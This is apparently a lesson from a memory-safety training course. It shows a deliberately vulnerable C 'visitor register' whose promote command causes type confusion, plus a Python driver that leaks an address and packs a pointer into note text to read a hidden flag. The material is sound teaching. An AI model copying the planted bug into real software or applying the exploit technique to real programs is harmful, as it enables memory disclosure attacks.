Type Confusion and Stale References

Bug Classes and PrimitivesLesson 7 of 875 minutesLessonNo lab next

Nothing is out of bounds this time

The ticket printer gave our input a new meaning when it interpreted text as a format string. A program can make a similar mistake with bytes it has already stored: read a note back as though it were a badge, and the first few characters may suddenly become an address.

The visitor register below stores both kinds of entry in the same space. That is a reasonable arrangement as long as it remembers which kind is there. We’ll follow a command that changes that description without changing the contents, then see why the next display operation follows a pointer that came from our text.

A register with two kinds of entry

In the Ubuntu terminal, create the working directory if needed and move into it:

mkdir -p ~/underdunn-course/bug-classes ~/underdunn-course/notes
cd ~/underdunn-course/bug-classes

Save the complete program below as register.c. Keep the terminal in this directory for the build commands; no source file from an earlier lesson is needed.

/*
 * A visitor register. Each slot holds either a note or a badge.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define SLOTS 4

enum kind { KIND_EMPTY, KIND_NOTE, KIND_BADGE };

struct note {
    char text[24];
};

struct badge {
    char *holder;
    int   level;
};

struct slot {
    enum kind kind;
    union {
        struct note  note;
        struct badge badge;
    } as;
};

static struct slot slots[SLOTS];
static char names[3][16] = { "sam", "ines", "priya" };
static char duty_code[40];

static const unsigned char sealed[] = {
    0x02, 0x19, 0x13, 0x12, 0x05, 0x13, 0x02, 0x19,
    0x19, 0x2c, 0x35, 0x2e, 0x23, 0x32, 0x24, 0x08,
    0x38, 0x22, 0x23, 0x3b, 0x3e, 0x21, 0x32, 0x08,
    0x3a, 0x32, 0x36, 0x39, 0x3e, 0x39, 0x30, 0x2a,
};

static void note_in(int n, const char *text)
{
    slots[n].kind = KIND_NOTE;
    memset(&slots[n].as, 0, sizeof slots[n].as);
    memcpy(slots[n].as.note.text, text, sizeof slots[n].as.note.text);
    puts("  noted");
}

static void badge_in(int n, int who)
{
    slots[n].kind = KIND_BADGE;
    slots[n].as.badge.holder = names[who % 3];
    slots[n].as.badge.level = 1;
    puts("  badged");
}

/* A note becomes a badge once it has been countersigned. */
static void promote(int n)
{
    slots[n].kind = KIND_BADGE;
    puts("  promoted");
}

static void drop(int n)
{
    slots[n].kind = KIND_EMPTY;
    puts("  dropped");
}

static void show(int n)
{
    switch (slots[n].kind) {
    case KIND_NOTE:
        printf("  slot %d note: %.24s\n", n, slots[n].as.note.text);
        break;
    case KIND_BADGE:
        printf("  slot %d badge: holder %p -> %s, level %d\n", n,
               (void *)slots[n].as.badge.holder,
               slots[n].as.badge.holder,
               slots[n].as.badge.level);
        break;
    default:
        printf("  slot %d is empty\n", n);
        break;
    }
}

int main(void)
{
    char line[256];

    setvbuf(stdout, NULL, _IONBF, 0);
    for (size_t i = 0; i < sizeof sealed; i++)
        duty_code[i] = (char)(sealed[i] ^ 0x57);
    duty_code[sizeof sealed] = '\0';

    puts("Visitor register.");
    puts("Commands: note <n> <text>, badge <n> <who>, promote <n>, drop <n>, show <n>, quit");

    memset(line, 0, sizeof line);
    while (fgets(line, sizeof line, stdin)) {
        line[strcspn(line, "\n")] = '\0';
        if (strncmp(line, "note ", 5) == 0) {
            int n = atoi(line + 5);
            const char *sp = strchr(line + 5, ' ');
            note_in(n % SLOTS, sp ? sp + 1 : "");
        } else if (strncmp(line, "badge ", 6) == 0) {
            int n = atoi(line + 6);
            const char *sp = strchr(line + 6, ' ');
            badge_in(n % SLOTS, sp ? atoi(sp + 1) : 0);
        } else if (strncmp(line, "promote ", 8) == 0) {
            promote(atoi(line + 8) % SLOTS);
        } else if (strncmp(line, "drop ", 5) == 0) {
            drop(atoi(line + 5) % SLOTS);
        } else if (strncmp(line, "show ", 5) == 0) {
            show(atoi(line + 5) % SLOTS);
        } else if (strcmp(line, "quit") == 0) {
            break;
        } else if (line[0] != '\0') {
            puts("  unknown command");
        }
        memset(line, 0, sizeof line);
    }
    return 0;
}

At startup, the XOR loop decodes sealed into duty_code; the encoding only keeps the value out of a simple strings listing. setvbuf keeps each reply visible to the Python driver before its next command. Neither operation creates the type confusion.

Each slot has a kind field and a union named as. A union’s members share storage: as.note.text and as.badge.holder aren’t two independent objects sitting beside each other. They are two ways to interpret the beginning of the same storage.

The kind field tells show which interpretation to use. C doesn’t keep that tag in sync for us; the commands have to leave it agreeing with what they stored.

The two ordinary commands do that in different ways:

note fills the storage with text and marks it as a note.
badge fills in a holder pointer and level, then the display follows that pointer to a name.

A conversion between the two would need to establish valid badge contents as well as change the tag. Now read the four lines of promote:

/* A note becomes a badge once it has been countersigned. */
static void promote(int n)
{
    slots[n].kind = KIND_BADGE;
    puts("  promoted");
}

Ordinary use

Build this program as reg, then try a note and a normal badge. Use slot numbers zero through three and name indices zero through two for this walkthrough; the toy parser’s modulo operations are not validation of negative inputs.

gcc -g -O0 -fno-omit-frame-pointer -Wall -Wextra register.c -o reg

Run ./reg and enter:

note 0 delivery for ines
show 0
badge 1 0
show 1
quit

  slot 0 note: delivery for ines
  slot 1 badge: holder 0x64e93a459020 -> sam, level 1

A badge prints the address it is holding as well as the name there. That maintenance-style display lets us see both the pointer and what the program found by following it.

Where the two kinds overlap

gdb -q -batch -ex 'ptype /o struct slot' ./reg

/*      0      |       4 */    enum kind kind;
/*      8      |      24 */    union {
/*      8      |      24 */            char text[24];
/*      8      |       8 */            char *holder;
/*     16      |       4 */            int level;

text begins at offset 8. holder begins at offset 8. That’s what a union is for and there’s nothing wrong with it, as long as the kind field and the bytes agree about which member is live.

On this 64-bit build, holder occupies eight bytes starting at the same offset as text. When promote changes only the tag, those first eight note bytes are what show will load as the pointer.

No copy needs to run past the end of the slot to make that happen. The mistake is claiming that the existing bytes describe a badge without constructing one.

Making the program dereference your bytes

The program is position-independent, so an address has to come from this run. A legitimate badge supplies one: holder points into names, and duty_code sits 0xe0 past it, which nm gives without running anything.

nm ./reg | grep -E ' [bBdD] (names|duty_code)$'

0000000000004020 b names
0000000000004100 b duty_code

We’ll use a legitimate badge for name index zero, so its pointer is the start of names. Subtracting the symbol offsets gives the distance to duty_code; adding that distance to the leaked pointer gives the runtime address we want. As in the format-string example, the leak and its use have to happen in the same process.

Create register-input.py beside reg. It reads the two symbol offsets from the binary you select, so the plain and instrumented builds can have different layouts without quietly sharing one offset:

import re
import struct
import subprocess
import sys

binary = sys.argv[1] if len(sys.argv) > 1 else "./reg"
symbols = {}
for line in subprocess.check_output(["nm", binary], text=True).splitlines():
    fields = line.split()
    if len(fields) == 3 and fields[2] in ("names", "duty_code"):
        symbols[fields[2]] = int(fields[0], 16)
distance = symbols["duty_code"] - symbols["names"]

with subprocess.Popen([binary], stdin=subprocess.PIPE,
                      stdout=subprocess.PIPE) as process:
    def command(data):
        process.stdin.write(data + b"\n")
        process.stdin.flush()
        reply = process.stdout.readline()
        if not reply:
            raise RuntimeError("Register exited before replying")
        print(reply.decode(errors="replace"), end="")
        return reply

    print(process.stdout.readline().decode(), end="")
    print(process.stdout.readline().decode(), end="")
    command(b"badge 0 0")
    reply = command(b"show 0")
    match = re.search(rb"holder (0x[0-9a-fA-F]+)", reply)
    if not match:
        raise RuntimeError("No holder address in the badge display")
    target = int(match.group(1), 16) + distance
    packed = struct.pack("<Q", target)
    if b"\n" in packed:
        process.stdin.write(b"quit\n")
        process.stdin.flush()
        process.wait(timeout=5)
        raise SystemExit("Address contains a line break; retry in a fresh process")
    print(f"target={target:#x}, symbol distance={distance:#x}")
    note = packed.ljust(24, b"\0")
    command(b"note 1 " + note)
    command(b"promote 1")
    command(b"show 1")
    process.stdin.write(b"quit\n")
    process.stdin.flush()
    process.wait(timeout=5)

The note begins with the packed pointer and is padded to twenty-four bytes with zeros. memcpy copies all twenty-four bytes, including embedded zeros; replacing it with a string copy would cut the pointer short. fgets does stop at a newline, so the driver rejects an address containing that byte rather than silently delivering only part of it.

Run the driver:

python3 register-input.py

The holder address varies with each process. The final line should have this shape:

  slot 1 badge: holder <target address> -> UNDERDUNN{bytes_outlive_meaning}, level 0

Compare the observed holder address with the driver’s target. The normal badge command only points at names, but the promoted note made the display read duty_code instead. We wrote only inside the note storage, and the later pointer dereference gave those bytes reach outside the slot.

level changed meaning too. It is zero because its four bytes came from our padding, eight bytes after the start of the note. The whole union acquired a new interpretation, not just the pointer field.

Key concept

Bytes outliving their meaning

drop marks a slot empty without clearing its storage. That alone doesn’t make the old bytes reachable: show checks the tag and prints an empty-slot message. But promote also accepts an empty slot and marks those leftover bytes as a badge again.

Predict both displays in this sequence, then try it in a fresh process. Run ./reg and enter:

badge 0 1
drop 0
show 0
promote 0
show 0
quit

The first display says the slot is empty. The second shows the old pointer to ines, because nothing replaced it between dropping and promoting the entry.

Here ines itself is still live in the static names array. We’ve resurrected stale slot contents, not accessed a freed heap object. A stale reference to freed or reassigned storage is a related lifetime problem, but it isn’t interchangeable with every type-confusion bug.

What the tools say

Build the same program with both sanitizers and run the driver against that binary:

gcc -g -O0 -fsanitize=address,undefined register.c -o reg-san
python3 register-input.py ./reg-san

  sanitizer complaints: 0

The demonstrated run produces no sanitizer diagnostic. We chose a pointer to a real, terminated string, so the display’s eventual read doesn’t encounter an invalid address. Neither of these checks enforces the application’s rule connecting kind to initialized badge contents.

Now aim the pointer somewhere meaningless. Write AAAAAAAA as the note, promote it, and show it. Run ./reg-san and enter:

note 1 AAAAAAAA
promote 1
show 1
quit

ERROR: AddressSanitizer
SEGV on unknown address

The bad-address case faults when show tries to use the pointer. That makes the consequence visible without identifying the tag change that caused it. Both runs used the same defective promote; where the resulting pointer led determined whether the mistake became a diagnostic.

As in Logic Bugs, the application rule supplies information the diagnostic tools were not given. Here that rule is that a badge must have been constructed before its pointer is used.

Compare nm ./reg with nm ./reg-san. Instrumentation can change the distance between globals, which is why the driver reads the symbol table of the selected executable rather than carrying 0xe0 into every run.

What the bug hands you

The display followed our note as a pointer and printed the string it found. That gives us a string-read primitive, like the format-string read, through a different mistake:

The ticket printer took a pointer from a format argument slot.
The visitor register loaded a field according to a tag we could change.

We don’t choose where show loads the pointer from. That location is fixed by the union layout, and the read happens when show takes the badge branch.

We also have to get all eight address bytes through the line-oriented input and point them at readable, terminated text. Those constraints remain even though the chosen destination isn’t limited to neighbouring slots.

Knowledge check

Question 1 of 3

What exactly makes promote a bug?

It writes past the end of the note's text bufferIt changes the tag without changing the bytes the tag describesIt copies more than twenty-four bytes into the union

When the results don’t match

If show prints an empty holder, your eight bytes did not survive the input path. Check that the note is copied by length rather than as a string, because the address of duty_code ends in a zero byte on this build and a string copy stops there.
If the difference between names and duty_code is not 0xe0, use your own. It is a property of your build and Lesson 3 covered how to read it.
If the instrumented build prints a different string, check that the driver reads symbols from the same binary it starts. The layouts may differ, but a correctly derived pointer should still reach duty_code in each build.
If the process dies with a segmentation fault, inspect the pointer in GDB before calling show again. That command dereferences it as well as printing it, so it isn’t a safe pointer-only probe. At a breakpoint in show, use p/x slots[1].as.badge.holder to inspect the stored address without following it.

To recover a known state, rebuild from the listing. The register keeps nothing between runs.

Check your understanding

Use the source and layout to explain why a promoted note becomes a pointer, and why dropping a badge doesn’t erase its old holder.

Then answer the question the quiet run leaves us with: if no access was out of bounds and no value exceeded its type, in what sense was anything wrong?

Compare your reasoning

The kind field claims that the union contains a badge, but promote hasn’t constructed one. In the successful run, show follows a pointer supplied through note text to a string that the normal badge command cannot select. The defect is the missing conversion or validation, whether that pointer happens to be readable or causes a fault.

“Undefined behaviour” alone doesn’t explain that broken relationship. The tag and its bytes disagree, and that would still be a problem in a language where reading the wrong union member was fully defined.

When another thread changes the state

The tag change and display happened in a sequence we controlled, in one thread. The address varied, but nobody else could replace the entry between our commands. In Race Conditions, another thread can change shared state between a check and the operation that relies on it.